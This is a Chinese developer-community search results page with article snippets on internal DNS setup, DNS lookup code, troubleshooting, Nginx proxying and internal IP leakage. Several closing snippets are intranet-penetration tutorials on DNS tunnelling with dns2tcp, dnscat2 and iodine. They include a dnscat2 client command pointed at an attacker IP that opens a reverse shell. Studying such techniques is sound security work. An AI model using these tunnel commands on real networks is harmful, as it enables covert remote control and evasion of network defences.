首页
学习
活动
专区
圈层
工具
发布

公司内网搭建代理DNS使用内网域名代替ip地址

运维人员会为每套环境的相关项目配置单独的Tomcat,然后开放一个端口,以 IP+Port 的形式访问。...但是你不永远不会确定,那天由于升级突然改了IP,我们可能又要重新撸一遍配置,所以内网域名还是非常有必要的。...内网域名具体有哪些优点: 方便记忆 变更IP,只需要修改DNS即可 服务器环境 192.168.1.170(开发) 192.168.1.180(测试) 192.168.1.190(预生产) 192.168.1.125...(DNS+Nginx) DNS安装 安装容器 为了方便,我们使用docker环境手动搭建一个DNS服务器。...本机验证 那么如何验证这些域名可以解析到我们的内网项目,只需要修改本机dns服务器地址即可: 配置完成后,我们就可以通过dev.52itstyle.com等相关域名访问我们的内网项目了。

15.1K60

公司内网搭建代理DNS使用内网域名代替ip地址

运维人员会为每套环境的相关项目配置单独的Tomcat,然后开放一个端口,以 IP+Port 的形式访问。...但是你不永远不会确定,那天由于升级突然改了IP,我们可能又要重新撸一遍配置,所以内网域名还是非常有必要的。...内网域名具体有哪些优点: 方便记忆 变更IP,只需要修改DNS即可 服务器环境 192.168.1.170(开发) 192.168.1.180(测试) 192.168.1.190(预生产) 192.168.1.125...(DNS+Nginx) DNS安装 安装容器 为了方便,我们使用docker环境手动搭建一个DNS服务器。...本机验证 那么如何验证这些域名可以解析到我们的内网项目,只需要修改本机dns服务器地址即可: ? 配置完成后,我们就可以通过dev.52itstyle.com等相关域名访问我们的内网项目了。

7.9K41
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    公司内网搭建代理DNS使用内网域名代替ip地址

    运维人员会为每套环境的相关项目配置单独的Tomcat,然后开放一个端口,以 IP+Port 的形式访问。...然而随着项目的增多,对于开发和测试人员记住如此多的内网地址,无疑是一件头疼的事情(当然你也可以使用浏览器书签管理器或者记录在某个地方)。...但是你不永远不会确定,那天由于升级突然改了IP,我们可能又要重新撸一遍配置,所以内网域名还是非常有必要的。...内网域名具体有哪些优点: 方便记忆 变更IP,只需要修改DNS即可 服务器环境 192.168.1.170(开发) 192.168.1.180(测试) 192.168.1.190(预生产) 192.168.1.125...本机验证 那么如何验证这些域名可以解析到我们的内网项目,只需要修改本机dns服务器地址即可: [dns.png] 配置完成后,我们就可以通过dev.52itstyle.com等相关域名访问我们的内网项目了

    11.4K80

    C#-输入主机名,使用Dns类解析出对应的IP地址信息

    C#中使用Dns相关类查询主机名对应的IP地址等信息 C#中的Dns类能够与默认的DNS服务器进行通信,以检索IP地址。...DnsLookup示例代码使用了以下名称空间: System System.Net System.Threading.Tasks 样例应用程序实现一个控制台程序(包),要求用户输入主机名(也可以添加一个IP...DnsLookup { class Program { /// /// 样例应用程序实现一个控制台程序(包),要求用户输入主机名(也可以添加一个IP...对于主机名 www.orf.at, 可以看到这个主机名定义了多个IP地址。 注意: Dns类是比较有限的,例如不能指定使用非默认的DNS服务器。...它只在Dns类的过时方法中填充。而且这些方法也不完全地填充这个属性。要充分利用DNS查找功能,最好使用第三方库。

    12.7K30

    DNS解析出现问题怎么办?

    我们在使用DNS解析的过程中难免会遇到各种问题,在这里写一下在遇到解析问题时如何排查,文章较长,可点击右下方目录直接跳转到你想看的地方。...若查询CNAME记录可以正常返回Name:或Aliases:字段,但无法正常返回ip,这种情况请咨询CNAME提供商。...查询域名是否被劫持,您可以分别进行以下测试: nslookup 域名 nslookup 域名 119.29.29.29 如果指定119.29.29.29测试解析正常,未指定119.29.29.29解析到错误 IP...域名DNS服务设置问题 DNS服务器未正常设置 DNS地址未修改会影响解析生效,请前往域名注册商处修改 DNS 服务器,如您的域名在腾讯云注册,可参考修改域名 DNS 服务器进行调整。...若为其他域名注册商请咨询对应注册商,通常修改后1~2小时内生效,最长不超过72小时 DNS服务商为其他 比如你已经把DNS解析服务转到阿里云了然后你还在腾讯云设置解析,那要是能生效就奇怪了。

    15.3K10

    公网IP和内网IP区别

    内网IP:局域网内部通信(如家庭设备、公司内部服务器)。4. 访问权限公网IP:可从互联网直接访问,需防火墙保护。内网IP:无法从外网直接访问,需通过NAT(网络地址转换)或端口映射实现外网通信。...内网IP:无额外成本,可无限复用。7. 安全性公网IP:暴露于互联网,易受攻击,需严格安全措施。内网IP:受局域网保护,外部无法直接访问,相对安全。8....典型应用公网IP:网站(如百度服务器)、远程访问公司系统。内网IP:家庭NAS、打印机共享、内部文件传输。...技术原理补充NAT(网络地址转换):内网设备通过路由器公网IP访问外网,实现“多设备共享一个公网IP”。...示例场景访问网站:你的手机(内网IP:192.168.1.5)通过路由器(公网IP:120.230.150.10)访问百度(公网IP:39.156.66.10)。

    9.5K00

    DNS 解析出问题时,试试我的这套排查方法

    有一次我处理一个海外客户的工单,说域名在国内访问慢,打开 ping.pe 一看,欧美节点正常,亚洲几个节点解析出来的 IP 居然是旧的。...企业内网有时候需要配特定的 DNS 服务器,比如公司域控的 IP,配错了内网域名全解析不了。...nslookup www.baidu.com 默认用系统配置的 DNS 服务器查,返回结果里有几个关键信息:Server 显示实际用的 DNS 地址,Address 是解析出来的 IP,Non-authoritative...案例四:内网 DNS 没配视图 公司内网有个 oa.xxx.com,公网也有这个域名,但解析应该指向内网 IP。结果内网用户解析到公网 IP 了,根本打不开。...查了一圈发现 DNS 服务器没配 split-horizon 视图,内网查询和公网查询返回了同样的结果。

    1.9K00

    Docker部署Nginx代理多个服务:公网域名与内网IP场景全解

    本文分享了我在公网和内网两种环境下,使用 Docker 部署 Nginx 并代理多个应用的完整实践。...尤其是在内网环境下代理多个应用时,我也遇到了一些坑(如路径代理导致 SPA 应用失效),这里也详细记录了解决思路。适合需要部署内网服务、或希望统一 Nginx 入口管理多个容器服务的朋友参考。1....公网环境下的 Nginx 部署与代理配置1.1 Docker部署Nginx通常是云服务器有公网IP,并且有域名已经解析到这个公网IP了。...内网环境中的 Nginx 多应用代理方案在内网环境部署Nginx和应用的话,除非是内网的生产应用会有内网的域名外,基本就是使用内网IP。...}}这样通过访问服务器的内网IP加端口号就可以访问后端的应用。但是这种方式有一个缺点,就是无法自动从HTTP跳转到HTTPS。所以必须使用https://IP:Port的格式才行.

    1.7K10

    使用bind搭建内网dns服务

    dns服务端方案简介 dns服务有什么用呢,尤其是内网的dns服务,其实用处还蛮大的,我见过的典型使用,是数据库跨机房多活。...一个可选的方案就是,给客户端服务提供一个域名,客户端服务通过域名获取对应的ip,然后再去和该ip建立连接。...当数据库发生主备切换时,只需要修改dns服务端,把域名对应的ip进行修改,同时通知客户端服务进行重连(重连时就可以取到最新的ip),这样的话,不就可以做到数据库容灾切换,且不需要业务方修改配置了吗?...在这其中呢,有个关键的组件,就是搭建私有的内网dns服务器。...服务的ip或域名,端口默认为udp 53,如果dns服务部署在云端服务器,然后测试如果在pc,可能要注意云服务器放行相关防火墙端口 dig nameserver.dump.com @localhost

    3.4K20

    内网渗透之DNS隧道技术

    01 前言 在渗透目标中过程中,可能碰有些网络的防火墙设置只允许端口53的UDP流量,就不能通过tcp搭建隧道,这种情况下我们可以通过UDP搭建DNS隧道,具体实现是通过搭建一个DNS服务器委派的子域...,这个子域因为是我们自己搭建的主机,这时候就可以通过这个子域搭建DNS隧道,和网络被限制的主机进行交互。...它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包 -n :将每个监听到数据包中的域名转换成IP地址后显示,不把网络地址转换成名字 -i :指定监听的网络接口 ?.../dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache ?...启动客户端 dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID ? 成功反弹shell ?

    3.2K50

    内网IP地址泄露

    0x01 漏洞描述 - 内网IP地址泄露 - 内网 IP 通常显现在 Web 应用程序/服务器所生成的错误消息中,或显现在 HTML/JavaScript 注释和部分页面跳转链接中。...通过网站信息收集,发现其内网使用的 IP 地址(例如:内网 IP 地址段、IP 路由等等),可以帮助攻击者进行旨在渗透组织内部基础设施的网络层攻击。...测试发现网站的 JS 资源文件内容泄露了内网 IP 地址。 测试发现网站的页面跳转 URL 地址泄露了内网 IP 地址。...0x04 漏洞修复 建议开发人员不要在源代码中注释中包含有内网 IP 地址。 合理配置 WEB 服务器,禁止在数据交互中传输内网 IP 地址。...删除携带内网 IP 地址的页面,并制定完善的安全编码策略,并且及时检查存在的页面代码是否包含内部 IP 地址问题。

    7K10

    利用bind实现内网域名解析走内网默认dns,其他域名解析走公网公共dns或自建dns

    dns,其他域名解析走公网公共dns或自建dns云平台不允许私搭公网dns,得确保自己搞了dns服务后,公网不能访问53端口才行,因此有必要一开始就在安全组限制公网53端口,只放行内网53端口,安全组参考下图图片...DNS地址以这里为准https://cloud.tencent.com/document/product/213/5225现在大多数CVM都是VPC机器,VPC的默认内网DNS183.60.83.19183.60.82.98...修改默认内网DNS会导致内网域名解析出问题,影响云监控和云安全组件正常工作,还会影响Windows激活等涉及内网域名的服务。...named.conf此配置文件旨在实现*.tencentyun.com和*.yd.qcloud.com走内网DNS解析,其他域名走公网公共DNS解析,这样就兼容了想修改默认DNS的用户需求。...为127.0.0.1或者服务器的内网IP10、在cmd命令行用dig验证效果dig mirrors.tencentyun.comdig l.yd.qcloud.comdig mail.163.comdig

    53.2K60

    内网隧道之dns2tcp

    ---- 内网隧道之dns2tcp 前言 本文研究DNS隧道的一个工具,dns2tcp github:https://github.com/alex-sector/dns2tcp 一、概述 1、简介 最后更新于...2017年,C语言编写 TCP over DNS,即通过DNS隧道转发TCP连接,没有加密。...采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便 利用合法DNS服务器实现DNS隧道 C/S(dns2tcpc...2、原理 DNS原理见:一文搞明白DNS与域名解析 本工具就是将数据放在TXT记录里base64加密后传输,DNS数据包通过权威DNS服务器提供的NS记录和A记录到服务端的DNS服务器,完成流量代理...二、实践 1、测试场景 (1)攻击机 Kali2021 192.168.10.128 (2)DNS服务器 windows server 2008 :192.168.10.200 设置静态IP,参见https

    2.7K30

    内网渗透之DNS隧道构建使用

    地址,可以直接发送报文,如果目标是域名则会先将域名解析成IP地址再进行通信,两台机器建立连接后C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序让其收到控制,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况...(内网网关没有转发IP数据包),但实际上内网的DNS服务器进行了中转操作,这就是DNS隧道的工作原理,简单的说就是将其他协议封装在DNS协议中进行传输,DNS隧道原理图如下所示: 简易测试 首先我们需要知道当前服务器是否允许通过内网...C语言编写,服务端使用Ruby语言编写,严格来说DnsCat2是一个命令与控制工具 应用场景 在内网安全工演练中DNS隧道的应用场景如下: 在安全策略严格的内网环境中传统的C&C通信端口会被众多安全设备所监控...DnsCat2隧道提供了两种模式: 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求 中继模式:DNS经过互联网的迭代解析指向指定的DNS服务器,这与直连模式相比中继模式的速度较慢...> 可选,表示不走DNS服务商,直接向iodine服务端所在的服务器IP请求DNS解析,即直连 -r由于iodine有时可能会自动切换DNS隧道为UDP通道,故该参数作用是:强制在任何情况下使用DNS

    1.7K10
    领券